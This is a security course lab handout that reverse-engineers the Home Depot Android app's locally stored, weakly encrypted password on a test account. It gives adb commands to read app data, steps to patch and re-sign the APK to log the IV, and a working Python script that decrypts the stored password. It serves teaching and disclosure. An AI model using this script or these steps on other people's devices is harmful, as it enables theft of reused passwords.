Proj 13: Home Depot Android App Broken Encryption (15 pts)

What You Need for This Project

Purpose

To reverse-engineer the encryption used by Home Depot, which is easy because it is improperly implmented. The key is calculated in a predictable manner.

Responsible Disclosure

I notified Home Depot about this in 2017 but they did not fix it.

Installing the App

Here's the app I installed, from Google Play.

 

Archived Copy

If they update the app, and you want the instructions below to work exactly as written, use this archived copy -- you will need to unzip it and use this command from Kali to install it:
adb install-multiple -r base/dist/base.apk \
split_config.en/dist/split_config.en.apk \
split_config.x86/dist/split_config.x86.apk \
split_config.xxhdpi/dist/split_config.xxhdpi.apk
Using the app, I made a test account with a password of P@ssw0rd

Making an Account

Launch the app.

A box asks about sending push notifications. Tap OK.

A box asks about accessing your location. Tap ALLOW.

A oage asks for your zip code, as shown below. Enter 94112 and press Enter.

On the next page, click a store.

On the next page, click "CREATE ACCOUNT", as shown below.

On the next page, create an account with your name in the username and also in the password, as shown below.

Click REGISTER. Click "YES, CONTINUE".

A Google box pops up, asking whether to save your password with "Smart Lock", as shown below.

Click NEVER.

A "Thank You For Registering" page appears, as shown below.

Viewing the Locally Stored Password

On your Kali machine, execute these commands:
adb shell
cd /data/data
cd com.thehomedepot
grep password -r .
exit
The stored password is revealed, as shown below.

It's encrypted, but improperly, as we will see below.

Analysis and Recommendations

At this point, the likely conclusion is clear: the Home Depot app is insecure, because it stores the password on the phone using custom encryption. As discussed here, passwords should not be stored on the phone at all. Because users re-use passwords, they are very sensitive information and handling them carelessly is a disservice to your customers. Locally stored passwords could be stolen by malware on the phone, or by simply stealing the phone itself. Instead, a random cookie should be stored on the phone, which is useless at any company other than Home Depot.

This is the #2 most important security vunerability on mobile devices, according to OWASP.

If a developer is forced to store a password locally, there are far better options, such as the Android Keystore. The Android Keystore can be breached on a rooted phone, so the app should test for this, and refuse to run on a rooted phone.

The remainder of this page merely proves this simple point by explicitly reverse-engineering the encryption used by Home Depot, and making a simple Python script that decrypts the password.

Pulling the APK File from the Phone

On your Kali machine, execute these commands, adjusting the path if needed to match your system. They find and download all the components of the Home Depot app.
adb shell pm list packages | grep dep
adb shell pm path com.thehomedepot
adb pull /data/app/com.thehomedepot-mhLAfskNSRfGPSZs3NZkrw==/base.apk
adb pull /data/app/com.thehomedepot-mhLAfskNSRfGPSZs3NZkrw==/split_config.en.apk
adb pull /data/app/com.thehomedepot-mhLAfskNSRfGPSZs3NZkrw==/split_config.x86.apk
adb pull /data/app/com.thehomedepot-mhLAfskNSRfGPSZs3NZkrw==/split_config.xxhdpi.apk

Decompiling the Android App

On your Kali machine, execute this command:
apktool d -f -r base.apk

Finding the Password Encryption Module

On your Kali machine, execute this command:
grep -r encrypted_password .
The module that encrypts the password appears, as highlighed in the image below.

Reading the Password Encryption Code

On your Kali machine, execute this command:
nano ./base/smali_classes2/com/thehomedepot/core/utils/EncryptionUtil.smali
The module that encrypts the password appears. Note these items, highlighted in the image below:

Looking further down in the code shows a fun way to hack this app. When I hacked it in 2017, I added Trojan code to log the encryption parameters, but this time we'll use the logging function Home Depot put there for us :)

The "encrypt" method shown below encrypts the password using AES:

And it has a logging function, which inserts the label "IV: " followed by the initialization vector into the log, as shown below.

Turning On Logging

The logging is turned off, however. To turn it on, execute this command:
nano ./base/smali/com/thehomedepot/Environment.smali
In nano, press Ctrl_W and type the search string canlog as shown below.

Press Enter. The "canLog" function appears, as shown below.

Change the constant from "0x0" to "0x1", as shown below.

Type Ctrl+X, Y, Enter to save the file.

Repacking the App

Execute these commands to repackage the APK files. There are more commands because you have to unpack and repack the three additional APK files in this "split" package.
apktool d -f -r split_config.en.apk
apktool d -f -r split_config.x86.apk
apktool d -f -r split_config.xxhdpi.apk

apktool b split_config.en
apktool b split_config.x86
apktool b split_config.xxxhdpi
apktool b base

Making a Code Signing Certificate

Android won't run unsigned apps, so we need a signing certificate. You probably made one in a previous project, but if you did not, execute this command to make one now:
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
A prompt asks for a "keystore password". Enter password twice.

Then a series of question asks for your name, etc. You can press Enter for each question except the last one, which you must answer yes to, as shown below.

Signing the APK Files

Now you must sign all four APK files with the same certificate: Execute these four commands, which are broken into two lines each using backpace characters:
jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore \
split_config.en/dist/split_config.en.apk alias_name

jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore \
split_config.x86/dist/split_config.x86.apk alias_name

jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore \
split_config.xxxhdpi/dist/split_config.xxxhdpi.apk alias_name

jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore \
base/dist/base.apk alias_name

Uninstalling the Original App

On your Genymotion virtual Android device, open Settings and tap these items.

Installing the Modified App

Execute this one command, which is very long, and broken into four lines with backspace characters:
adb install-multiple -r base/dist/base.apk \
split_config.en/dist/split_config.en.apk \
split_config.x86/dist/split_config.x86.apk \
split_config.xxhdpi/dist/split_config.xxxhdpi.apk

Monitoring the Log

On Kali, execute this command:
adb logcat | grep Encrypt

Logging In

On your Android device, launch the Home Depot app again and log in to your account.

The log shows the encryption parameters, as shown below.

Viewing the Stored Password

On Kali, press Ctrl+C to stop the log display.

Execute this command to open a shell on the Android device:

adb shell
Execute this command to get the encrypted_password value:
grep -r encrypted_password /data/data/com.thehomedepot
Press Ctrl+C. Enter this command to exit the Android shell:
exit
You see the "encrypted_password" value, as shown above.

Notice that it has three blobs of Base64-encoded text, highlighted in different colors in the image above.

Base64 Encoding

On Kali, execute these commands to encode the IV in Base64. Replace the value below with the value from your log data.
python
a = "59CF147EDE54F6AE4B59A27C64C41E20"
b = a.decode("hex")
c = b.encode("base64")
print c
exit()
The Base64 value as shown below.

Notice that this value matches the central blob of Base64 text in the "encrypted_password".

As will be proven below, the first blob of Base64 is the "salt", the second blob is the IV (Initialization Vector) and the third blob is the ciphertext--the encrypted password.

Python Script to Decrypt encrypted_password

In Kali, execute these commands:
pip install pbkdf2
pip install pycrypto
nano homedepot.py
Paste in this code:
from Crypto.Cipher import AES
from pbkdf2 import PBKDF2

orig = raw_input("Enter encrypted_password: ")

d1 = orig.find("]")
d2 = orig.find("]", d1+1)

blob164 = orig[:d1]
blob264 = orig[d1+1:d2]
blob364 = orig[d2+1:]

salt = blob164.decode("base64")
iv = blob264.decode("base64")
ciphertext = blob364.decode("base64")

secret_key = PBKDF2('PUBLIC_PASSWORD_PBKDF2', salt).read(32)
print "SECRET KEY (from salt): ", secret_key.encode("hex")
print

cipher = AES.new(secret_key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)

n = len(decrypted)

pw = ''
for i in range(n):
  if decrypted[i] > chr(8):
    pw += decrypted[i]

print "Stored password: ", pw

Viewing the Stored Password

On Kali, press Ctrl+C to stop the log display.

Execute this command to open a shell on the Android device:

adb shell
Execute this command to get the encrypted_password value:
grep -r encrypted_password /data/data/com.thehomedepot
Press Ctrl+C. Enter this command to exit the Android shell:
exit
Copy and paste the encrypted_password value, as shown below.

Execute this command to run your Python script:

python homedepot.py
Paste in the encrypted_password value, and press Enter.

The password is recovered, containing your name, as shown below.

Saving a Screen Image

Make sure you can see the recovered password, containing your name, as shown above.

Save a full-desktop image. On a Mac, press Shift+Commmand+3. On a PC, press Shift+PrntScrn and paste into Paint.

YOU MUST SUBMIT A FULL-SCREEN IMAGE FOR FULL CREDIT!

Save the image with the filename "YOUR NAME Proj 13", replacing "YOUR NAME" with your real name.

Turning in your Project

Email the image to to cnit.128sam@gmail.com with the subject line: Proj 13 from YOUR NAME
Posted 1-27-19
Typo fixed 2-12-19